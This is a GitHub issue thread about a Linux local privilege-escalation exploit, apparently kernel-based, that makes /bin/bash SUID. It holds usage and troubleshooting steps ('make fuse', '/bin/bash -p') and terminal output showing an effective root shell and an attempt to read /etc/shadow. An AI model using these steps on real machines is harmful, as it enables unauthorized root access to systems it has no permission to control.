Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

No access to root #3

Open
mortals-tx opened this issue Feb 8, 2022 · 2 comments
Open

No access to root #3

mortals-tx opened this issue Feb 8, 2022 · 2 comments

Comments

@mortals-tx
Copy link

Linux c 5.11.0-44-generic #48~20.04.2-Ubuntu SMP Tue Dec 14 15:36:44 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

command: make fuse

[*] Exploit success! /bin/bash is SUID now!
[+] Popping shell
-p: /root/.bash_profile: Permission denied

No access to root

@chop0
Copy link
Member

chop0 commented Feb 11, 2022

maybe try making the suid binary something else besides bash

@bcoles
Copy link

bcoles commented Apr 25, 2022

/bin/bash is executed from within the exploit context which is running in a user namespace.

The set-uid bit was applied successfully. You should get a root shell with /bin/bash -p :

[*] Exploit success! /bin/bash is SUID now!
[+] Popping shell
-p: /root/.bash_profile: Permission denied
root@ubuntu-20-04-desktop-amd64:/home/user# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
root@ubuntu-20-04-desktop-amd64:/home/user# cat /etc/shadow
cat: /etc/shadow: Permission denied
root@ubuntu-20-04-desktop-amd64:/home/user# logout
-p: /root/.bash_logout: Permission denied
user@ubuntu-20-04-desktop-amd64:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Feb 25  2020 /bin/bash
user@ubuntu-20-04-desktop-amd64:~$ /bin/bash -p
bash-5.0# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants